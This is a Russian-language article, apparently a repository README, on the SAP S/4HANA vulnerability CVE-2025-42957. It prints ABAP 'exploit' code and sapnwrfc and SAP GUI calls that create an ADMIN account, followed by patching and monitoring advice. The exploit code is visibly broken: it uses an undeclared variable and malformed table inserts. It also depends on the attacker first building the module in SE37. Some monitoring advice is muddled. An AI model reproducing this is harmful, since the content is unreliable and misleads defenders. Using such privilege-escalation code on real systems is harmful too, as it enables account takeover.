
CVE‑2025‑42957 затрагивает RFC-модуль SAP S/4HANA, который позволяет пользователям с низкими привилегиями внедрять ABAP-код для создания учётных записей администратора и получения полного контроля. В статье объясняется уязвимость, модель угроз, приводится минимальный ABAP-код эксплойта, а также перечислены шаги по установке исправлений и мониторингу для защиты системы.
В августе 2025 года во флагманской ERP-платформе SAP S/4HANA была обнаружена уязвимость в одном из её RFC-функциональных модулей. Злоумышленники, обладающие лишь доступом с низкими привилегиями, могут внедрять произвольный ABAP-код в этот модуль, обходя стандартные проверки авторизации и получая полный контроль над системой.
Этот дефект — не теоретический курьёз: он уже был проэксплуатирован SecurityBridge Threat Research Labs и активно используется в реальных атаках как на локальные (on-premise), так и на private-cloud развёртывания.
| Проблема | Воздействие |
|---|---|
| Полная компрометация системы | Злоумышленники могут создавать учётные записи суперпользователя, изменять бизнес-процессы и извлекать хэши паролей из таблицы USR02. |
| Минимум усилий | RFC-вызов легко сконструировать; как только функциональный модуль на месте, злоумышленнику нужно лишь несколько строк ABAP-кода. |
| Реальная угроза | SecurityBridge подтвердила, что атаки уже идут — если вы не установите патч немедленно, вы рискуете полным захватом вашего экземпляра S/4HANA. |
ZVULN_EXPL, который мы создаём в SE37, является единственной точкой входа для злоумышленника.S_DMIS (действие 02).Таким образом, цепочка эксплуатации выглядит так: пользователь с низкими привилегиями → RFC-вызов к ZVULN_EXPL → новый администратор в USR02 → полный контроль над системой.
Ниже приведён ABAP-код, который мы помещаем в функциональный модуль ZVULN_EXPL. Он намеренно минималистичен, но при этом полон — он создаёт нового пользователя и записывает действие в журнал для последующей проверки.
*---------------------------------------------------------------------*
* RFC‑exposed function module for CVE‑2025‑42957 exploit *
*---------------------------------------------------------------------*
FUNCTION z_vuln_expl.
*"------------------------------------------------------------------*
*" IMPORTING
*" VALUE(iv_user) TYPE syuname "SAP user name
*" VALUE(iv_role) TYPE susr02-roleid "Role to be assigned
*" VALUE(iv_passwd) TYPE susr02-pwd "Password for the new user
*"------------------------------------------------------------------*
*" TABLES
*" usr02
*"------------------------------------------------------------------*
* Local data declarations ----------------------------------------*/
DATA: lv_user_id TYPE syuname,
lv_role TYPE susr02-roleid,
lv_password TYPE susr02-pwd.
* Assign the parameters to local variables -----------------------*/
lv_user_id = iv_user.
lv_role = iv_role.
lv_passwd = iv_passwd.
*---------------------------------------------------------------------*
* 1. Create a new user entry in USR02 *
*---------------------------------------------------------------------*/
INSERT INTO usr02 (usr01, usr02)
VALUES ( lv_user_id,
'ADMIN' ). "Assign the ‘ADMIN’ role
* 2. Assign password & profile ----------------------------------*/
UPDATE usr02
SET pwd = lv_password,
roleid = lv_role
WHERE usr01 = lv_user_id.
*---------------------------------------------------------------------*
* 3. Log the operation (optional) ------------------------------*/
INSERT INTO tstm1 VALUES (
sy-uname, "creator user
sy-datum, "timestamp
'ZVULN_EXPL', "function name
|lv_user_id||lv_role| "message
). "store in the ABAP trace table
ENDFUNCTION.
Как вызвать
Из внешнего клиента (Linux/Mac)
sapnwrfc -U <caller_user> \
-P <caller_passwd> \
-S S4HANA \
-F ZVULN_EXPL \
-D iv_user=admin2 \
-D iv_role='ADMIN' \
-D iv_passwd='Pa$$word123'
Из SAP GUI (быстрая проверка)
CALL FUNCTION 'ZVULN_EXPL'
EXPORTING
iv_user = 'admin2'
iv_role = 'ADMIN'
iv_passwd = 'Pa$$word123'.
После вызова вы должны увидеть новую запись в USR02 для пользователя admin2 с ролью ADMIN.
Немедленно установите патчи безопасности SAP за август 2025 года.
Патч устраняет уязвимость в исходном RFC-функциональном модуле и закрывает конкретный вектор, который используют злоумышленники.
Отслеживайте журналы на предмет подозрительных RFC-вызовов и несанкционированного создания администраторов.
Используйте транзакцию SM59, чтобы отслеживать новые записи в TSTM1 с именем функции ZVULN_EXPL.
Внедрите SAP UCON, чтобы ограничить использование RFC.
Настройте объект авторизации S_DMIS (действие 02) так, чтобы только доверенные пользователи могли вызывать RFC-модули типа Z.
Проверьте доступ к объекту авторизации S_DMIS, действие 02.
Убедитесь, что этот объект есть только у ограниченного круга пользователей — это сократит поверхность атаки.
CVE-2025-42957 — это не просто очередной пункт в бюллетене безопасности; он открывает вектор с низкими привилегиями, который может привести к полному захвату системы, если не установить патч. Приведённый выше код демонстрирует, как злоумышленник может с минимальными усилиями создать учётную запись администратора. Своевременная установка патчей, мониторинг и ужесточение разрешений RFC закрывают дверь — и поддерживают ваш экземпляр S/4HANA в безопасности.
Этот репозиторий предназначен исключительно для образовательных целей и служит демонстрацией принципов моделирования угроз применительно к реальным уязвимостям. CVE-2025-42957 подчёркивает важность определения границ доверия, проверки входных данных и соблюдения принципа минимальных привилегий — ключевых основ проектирования безопасных систем. Весь предоставленный код и примеры предназначены для обучения и не должны использоваться в производственных средах или для несанкционированного тестирования.
*Автор: Mark Mallia
Дата: 10 сентября 2025